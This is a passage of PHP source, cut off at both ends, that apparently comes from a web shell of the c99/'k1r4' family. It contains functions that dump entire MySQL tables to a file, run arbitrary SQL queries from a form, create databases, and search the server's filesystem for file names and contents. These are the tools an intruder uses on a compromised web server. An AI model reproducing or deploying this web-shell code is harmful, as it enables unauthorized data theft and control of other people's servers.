for create table structure $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); if (!$res) {$ret["err"][] = mysql_smarterror();} else { $row = mysql_fetch_row($res); $out .= $row["1"].";\n\n"; // recieve table variables $res = mysql_query("SELECT * FROM `$tab`", $sock); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; $out .= $sql; } } } } } $out .= "#---------------------------------------------------------------------------------\n\n"; if ($file) { $fp = fopen($file, "w"); if (!$fp) {$ret["err"][] = 2;} else { fwrite ($fp, $out); fclose ($fp); } } if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out;}}if (!function_exists("mysql_buildwhere")){function mysql_buildwhere($array,$sep=" and",$functs=array()){ if (!is_array($array)) {$array = array();} $result = ""; foreach($array as $k=>$v) { $value = ""; if (!empty($functs[$k])) {$value .= $functs[$k]."(";} $value .= "'".addslashes($v)."'"; if (!empty($functs[$k])) {$value .= ")";} $result .= "`".$k."` = ".$value.$sep; } $result = substr($result,0,strlen($result)-strlen($sep)); return $result;}}if (!function_exists("mysql_fetch_all")){function mysql_fetch_all($query,$sock){ if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array;}}if (!function_exists("mysql_smarterror")){function mysql_smarterror($type,$sock){ if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error;}}if (!function_exists("mysql_query_form")){function mysql_query_form(){ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error."";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) { echo ""; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":".htmlspecialchars($sql_query)." "; if ($tbl_struct) { echo "Fields:"; foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» ".$name."";} echo ""; } } if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}}}if (!function_exists("mysql_create_db")){function mysql_create_db($db,$sock=""){ $sql = "CREATE DATABASE `".addslashes($db)."`;"; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);}}}if (!function_exists("mysql_query_parse")){function mysql_query_parse($query){ $query = trim($query); $arr = explode (" ",$query); /*array array() { "METHOD"=>array(output_type), "METHOD1"... ... } if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons */ $types = array( "SELECT"=>array(3,1), "SHOW"=>array(2,1), "DELETE"=>array(1), "DROP"=>array(1) ); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result["propertions"] = $types[$op]; $result["query"] = $query; if ($types[$op] == 2) { foreach($arr as $k=>$v) { if (strtoupper($v) == "LIMIT") { $result["limit"] = $arr[$k+1]; $result["limit"] = explode(",",$result["limit"]); if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} unset($arr[$k],$arr[$k+1]); } } } } else {return FALSE;}}}if (!function_exists("k1r4fsearch")){function k1r4fsearch($d){ global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($f = readdir($h)) !== FALSE) { if($f != "." && $f != "..") { $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); if (is_dir($d.$f)) { $search_i_d++; if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} if (!is_link($d.$f)) {k1r4fsearch($d.$f);} } else { $search_i_f++; if ($bool) { if (!empty($a["text"])) { $r = @file_get_contents($d.$f); if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} else {$bool = strpos(" ".$r,$a["text"],1);} if ($a["text_not"]) {$bool = !$bool;} if ($bool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} }